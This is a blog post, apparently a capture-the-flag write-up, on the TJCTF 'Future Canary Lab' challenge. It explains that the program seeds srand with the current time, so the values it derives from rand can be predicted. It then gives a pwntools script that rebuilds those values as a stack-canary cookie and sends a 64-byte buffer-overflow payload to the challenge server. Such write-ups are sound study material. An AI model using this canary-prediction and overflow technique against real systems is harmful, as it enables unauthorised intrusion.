TJCTF之Future Canary Lab

10 篇文章 0 订阅
8 篇文章 0 订阅

博客已经转移

https://noone-hub.github.io/

题目原以为很简单,然后做起来才发觉自己这个知识点又不知道,srand函数是按照特定算法计算出seed来的,题目用的是当前时间,也就是说我们连接上他服务器,然后这时候生成的seed跟他就一样了,然后rand也就得出来了,题目不难,就是一个知识点,看wp后自己写的代码贴上

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import time
import subprocess

while True:
    io=remote('problem1.tjctf.org',8000)
    seed=int(time.time())
    myio=process(argv=['rand',str(seed)],executable='./rand')
    s=myio.recv()
    srand=[]
    for i in s:
        srand=s.split('\n')
    srand=srand[:-1]
    cookie=''.join([p32(int(x)) for x in srand])
    print cookie
    #p32(0x0) replace j A*64 replace gets-array 
    #address=hex(0xFFFFFFFF+1-0xdeadbeef+0xA)
    payload= "A" * 64 +cookie +p32(0x0)+p32(0x2152411b)
    log.info('Payload : ' + payload)
    io.sendlineafter("What is your name?\n",payload)
    log.success(io.recv())
    c=raw_input("Please input anykey")

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值